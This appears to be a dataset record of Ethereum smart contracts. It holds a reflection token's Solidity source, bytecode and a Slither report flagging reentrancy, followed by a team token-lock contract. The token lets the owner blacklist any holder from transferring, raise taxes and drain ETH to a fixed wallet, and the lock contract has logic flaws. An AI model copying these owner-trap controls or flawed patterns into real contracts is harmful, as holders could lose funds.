bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x8805370E69c019ceC9a543e7f806eB2DaFda4e58);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 27) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 27) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610313578063c3c8cd8014610333578063c9567bf914610348578063dbe8272c1461035d578063dc1052e21461037d578063dd62ed3e1461039d57600080fd5b8063715018a6146102a15780638da5cb5b146102b657806395d89b411461015c5780639e78fb4f146102de578063a9059cbb146102f357600080fd5b806323b872dd116100f257806323b872dd14610210578063273123b714610230578063313ce567146102505780636fc3eaec1461026c57806370a082311461028157600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611840565b6103e3565b005b34801561016857600080fd5b50604080518082018252600781526621a0aa21a7a7a760c91b6020820152905161019291906118bd565b60405180910390f35b3480156101a757600080fd5b506101bb6101b636600461174e565b610434565b6040519015158152602001610192565b3480156101d757600080fd5b50670de0b6b3a76400005b604051908152602001610192565b3480156101fc57600080fd5b5061015a61020b366004611878565b61044b565b34801561021c57600080fd5b506101bb61022b36600461170e565b61048d565b34801561023c57600080fd5b5061015a61024b36600461169e565b6104f6565b34801561025c57600080fd5b5060405160098152602001610192565b34801561027857600080fd5b5061015a610541565b34801561028d57600080fd5b506101e261029c36600461169e565b610575565b3480156102ad57600080fd5b5061015a610597565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102ea57600080fd5b5061015a61060b565b3480156102ff57600080fd5b506101bb61030e36600461174e565b61084a565b34801561031f57600080fd5b5061015a61032e366004611779565b610857565b34801561033f57600080fd5b5061015a6108fb565b34801561035457600080fd5b5061015a61093b565b34801561036957600080fd5b5061015a610378366004611878565b610b01565b34801561038957600080fd5b5061015a610398366004611878565b610b39565b3480156103a957600080fd5b506101e26103b83660046116d6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104165760405162461bcd60e51b815260040161040d90611910565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610441338484610b71565b5060015b92915050565b6000546001600160a01b031633146104755760405162461bcd60e51b815260040161040d90611910565b662386f26fc1000081111561048a5760108190555b50565b600061049a848484610c95565b6104ec84336104e785604051806060016040528060288152602001611a8e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8c565b610b71565b5060019392505050565b6000546001600160a01b031633146105205760405162461bcd60e51b815260040161040d90611910565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056b5760405162461bcd60e51b815260040161040d90611910565b4761048a81610fc6565b6001600160a01b03811660009081526002602052604081205461044590611000565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161040d90611910565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161040d90611910565b600f54600160a01b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ef57600080fd5b505afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072791906116ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076f57600080fd5b505afa158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a791906116ba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ef57600080fd5b505af1158015610803573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082791906116ba565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610441338484610c95565b6000546001600160a01b031633146108815760405162461bcd60e51b815260040161040d90611910565b60005b81518110156108f7576001600660008484815181106108b357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ef81611a23565b915050610884565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161040d90611910565b600061093030610575565b905061048a81611084565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161040d90611910565b600e546109859030906001600160a01b0316670de0b6b3a7640000610b71565b600e546001600160a01b031663f305d71947306109a181610575565b6000806109b66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1957600080fd5b505af1158015610a2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a529190611890565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac957600080fd5b505af1158015610add573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048a919061185c565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b815260040161040d90611910565b601b81101561048a57600b55565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161040d90611910565b601b81101561048a57600c55565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040d565b6001600160a01b03831660009081526006602052604090205460ff1615610de357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2557506001600160a01b03821660009081526005602052604090205460ff16155b15610f7c576000600955600c54600a55600f546001600160a01b038481169116148015610e605750600e546001600160a01b03838116911614155b8015610e8557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9a5750600f54600160b81b900460ff165b15610eae57601054811115610eae57600080fd5b600f546001600160a01b038381169116148015610ed95750600e546001600160a01b03848116911614155b8015610efe57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0f576000600955600b54600a555b6000610f1a30610575565b600f54909150600160a81b900460ff16158015610f455750600f546001600160a01b03858116911614155b8015610f5a5750600f54600160b01b900460ff165b15610f7a57610f6881611084565b478015610f7857610f7847610fc6565b505b505b610f87838383611229565b505050565b60008184841115610fb05760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd8486611a0c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f7573d6000803e3d6000fd5b60006007548211156110675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040d565b6000611071611234565b905061107d8382611257565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112e57600080fd5b505afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116691906116ba565b8160018151811061118757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ad9130911684610b71565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e6908590600090869030904290600401611945565b600060405180830381600087803b15801561120057600080fd5b505af1158015611214573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f87838383611299565b6000806000611241611390565b90925090506112508282611257565b9250505090565b600061107d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d0565b6000806000806000806112ab876113fe565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dd908761145b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130c908661149d565b6001600160a01b03891660009081526002602052604090205561132e816114fc565b6113388483611546565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137d91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ab8282611257565b8210156113c757505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f15760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd84866119cd565b600080600080600080600080600061141b8a600954600a5461156a565b925092509250600061142b611234565b9050600080600061143e8e8787876115bf565b919e509c509a509598509396509194505050505091939550919395565b600061107d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8c565b6000806114aa83856119b5565b90508381101561107d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040d565b6000611506611234565b90506000611514838361160f565b30600090815260026020526040902054909150611531908261149d565b30600090815260026020526040902055505050565b600754611553908361145b565b600755600854611563908261149d565b6008555050565b6000808080611584606461157e898961160f565b90611257565b90506000611597606461157e8a8961160f565b905060006115af826115a98b8661145b565b9061145b565b9992985090965090945050505050565b60008080806115ce888661160f565b905060006115dc888761160f565b905060006115ea888861160f565b905060006115fc826115a9868661145b565b939b939a50919850919650505050505050565b60008261161e57506000610445565b600061162a83856119ed565b90508261163785836119cd565b1461107d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040d565b803561169981611a6a565b919050565b6000602082840312156116af578081fd5b813561107d81611a6a565b6000602082840312156116cb578081fd5b815161107d81611a6a565b600080604083850312156116e8578081fd5b82356116f381611a6a565b9150602083013561170381611a6a565b809150509250929050565b600080600060608486031215611722578081fd5b833561172d81611a6a565b9250602084013561173d81611a6a565b929592945050506040919091013590565b60008060408385031215611760578182fd5b823561176b81611a6a565b946020939093013593505050565b6000602080838503121561178b578182fd5b823567ffffffffffffffff808211156117a2578384fd5b818501915085601f8301126117b5578384fd5b8135818111156117c7576117c7611a54565b8060051b604051601f19603f830116810181811085821117156117ec576117ec611a54565b604052828152858101935084860182860187018a101561180a578788fd5b8795505b838610156118335761181f8161168e565b85526001959095019493860193860161180e565b5098975050505050505050565b600060208284031215611851578081fd5b813561107d81611a7f565b60006020828403121561186d578081fd5b815161107d81611a7f565b600060208284031215611889578081fd5b5035919050565b6000806000606084860312156118a4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e9578581018301518582016040015282016118cd565b818111156118fa5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119945784516001600160a01b03168352938301939183019160010161196f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c8576119c8611a3e565b500190565b6000826119e857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0757611a07611a3e565b500290565b600082821015611a1e57611a1e611a3e565b500390565b6000600019821415611a3757611a37611a3e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048a57600080fd5b801515811461048a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6e9407acc895f57bd6ae456ccd81ad301c13c92b25317baf3cc89ad0c08059f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,260 |
0xe9723ce206ec2f8b12079ec38ad495bdde22d3ba
|
pragma solidity ^0.6.2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title ERC1132 interface
* @dev see https://github.com/ethereum/EIPs/issues/1132
*/
abstract contract ERC1132 {
/**
* @dev Reasons why a user's tokens have been locked
*/
mapping(address => bytes32[]) public lockReason;
/**
* @dev locked token structure
*/
struct lockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
/**
* @dev Holds number & validity of tokens locked for a given reason for
* a specified address
*/
mapping(address => mapping(bytes32 => lockToken)) public locked;
/**
* @dev Records data of all the tokens Locked
*/
event Locked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount,
uint256 _validity
);
/**
* @dev Records data of all the tokens unlocked
*/
event Unlocked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount
);
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function lock(string memory _reason, uint256 _amount, uint256 _time)
public virtual returns (bool);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLocked(address _of, string memory _reason)
public virtual view returns (uint256 amount);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, string memory _reason, uint256 _time)
public virtual view returns (uint256 amount);
/**
* @dev Returns total tokens held by an address (locked + transferable)
* @param _of The address to query the total balance of
*/
function totalBalanceOf(address _of)
public virtual view returns (uint256 amount);
/**
* @dev Extends lock for a specified reason and time
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function extendLock(string memory _reason, uint256 _time)
public virtual returns (bool);
/**
* @dev Increase number of tokens locked for a specified reason
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be increased
*/
function increaseLockAmount(string memory _reason, uint256 _amount)
public virtual returns (bool);
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function tokensUnlockable(address _of, string memory _reason)
public virtual view returns (uint256 amount);
/**
* @dev Unlocks the unlockable tokens of a specified address
* @param _of Address of user, claiming back unlockable tokens
*/
function unlock(address _of)
public virtual returns (uint256 unlockableTokens);
/**
* @dev Gets the unlockable tokens of a specified address
* @param _of The address to query the the unlockable token count of
*/
function getUnlockableTokens(address _of)
public virtual view returns (uint256 unlockableTokens);
}
interface SocialRocketContrat{
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
contract SocialRocketLock is Ownable , ERC1132 {
using SafeMath for uint256;
mapping (address => uint256) private _released;
SocialRocketContrat private rocks;
address private token;
string internal constant ALREADY_LOCKED = 'Tokens already locked';
string internal constant NOT_LOCKED = 'No tokens locked';
string internal constant AMOUNT_ZERO = 'Amount can not be 0';
constructor(address socialRocketContract) public {
rocks = SocialRocketContrat(socialRocketContract);
token = socialRocketContract;
}
/********
TEAM LOCK
********/
function lock(string memory _reason, uint256 _amount, uint256 _time)
public override onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
uint256 validUntil = now.add(_time); //solhint-disable-line
// If tokens are already locked, then functions extendLock or
// increaseLockAmount should be used to make any changes
require(tokensLocked(msg.sender, bytes32ToString(reason)) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[msg.sender][reason].amount == 0)
lockReason[msg.sender].push(reason);
rocks.transferFrom(msg.sender, address(this), _amount);
locked[msg.sender][reason] = lockToken(_amount, validUntil, false);
emit Locked(msg.sender, reason, _amount, validUntil);
return true;
}
function transferWithLock(address _to, string memory _reason, uint256 _amount, uint256 _time)
public onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
uint256 validUntil = now.add(_time); //solhint-disable-line
require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[_to][reason].amount == 0)
lockReason[_to].push(reason);
rocks.transferFrom(msg.sender, address(this), _amount);
locked[_to][reason] = lockToken(_amount, validUntil, false);
emit Locked(_to, reason, _amount, validUntil);
return true;
}
function tokensLocked(address _of, string memory _reason)
public override
view
returns (uint256 amount)
{
bytes32 reason = stringToBytes32(_reason);
if (!locked[_of][reason].claimed)
amount = locked[_of][reason].amount;
}
function tokensLockedAtTime(address _of, string memory _reason, uint256 _time)
public override
view
returns (uint256 amount)
{
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity > _time)
amount = locked[_of][reason].amount;
}
function totalBalanceOf(address _of)
public override
view
returns (uint256 amount)
{
amount = rocks.balanceOf(_of);
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(tokensLocked(_of, bytes32ToString(lockReason[_of][i])));
}
}
function extendLock(string memory _reason, uint256 _time)
public override onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
locked[msg.sender][reason].validity = locked[msg.sender][reason].validity.add(_time);
emit Locked(msg.sender, reason, locked[msg.sender][reason].amount, locked[msg.sender][reason].validity);
return true;
}
function increaseLockAmount(string memory _reason, uint256 _amount)
public override onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
rocks.transfer(address(this), _amount);
locked[msg.sender][reason].amount = locked[msg.sender][reason].amount.add(_amount);
emit Locked(msg.sender, reason, locked[msg.sender][reason].amount, locked[msg.sender][reason].validity);
return true;
}
function tokensUnlockable(address _of, string memory _reason)
public override
view
returns (uint256 amount)
{
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity <= now && !locked[_of][reason].claimed) //solhint-disable-line
amount = locked[_of][reason].amount;
}
function unlock(address _of)
public override onlyOwner
returns (uint256 unlockableTokens)
{
uint256 lockedTokens;
for (uint256 i = 0; i < lockReason[_of].length; i++) {
lockedTokens = tokensUnlockable(_of, bytes32ToString(lockReason[_of][i]));
if (lockedTokens > 0) {
unlockableTokens = unlockableTokens.add(lockedTokens);
locked[_of][lockReason[_of][i]].claimed = true;
emit Unlocked(_of, lockReason[_of][i], lockedTokens);
}
}
if (unlockableTokens > 0)
rocks.transfer(_of, unlockableTokens);
}
function getUnlockableTokens(address _of)
public override
view
returns (uint256 unlockableTokens)
{
for (uint256 i = 0; i < lockReason[_of].length; i++) {
unlockableTokens = unlockableTokens.add(tokensUnlockable(_of, bytes32ToString(lockReason[_of][i])));
}
}
function getremainingLockTime(address _of, string memory _reason) public view returns (uint256 remainingTime) {
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity > now && !locked[_of][reason].claimed) //solhint-disable-line
remainingTime = locked[_of][reason].validity.sub(now);
}
function getremainingLockDays(address _of, string memory _reason) public view returns (uint256 remainingDays) {
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity > now && !locked[_of][reason].claimed) //solhint-disable-line
remainingDays = (locked[_of][reason].validity.sub(now)) / 86400;
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) public pure returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (uint256 j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
|
